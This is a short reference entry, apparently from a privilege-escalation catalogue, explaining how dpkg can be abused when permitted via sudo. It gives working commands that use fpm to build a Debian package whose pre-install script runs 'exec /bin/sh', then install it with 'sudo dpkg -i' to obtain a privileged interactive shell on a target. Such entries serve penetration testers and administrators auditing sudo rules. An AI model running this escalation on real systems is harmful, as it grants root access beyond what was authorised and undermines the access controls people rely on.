It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
It runs an interactive shell using a specially crafted Debian package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
sudo dpkg -i x_1.0_all.deb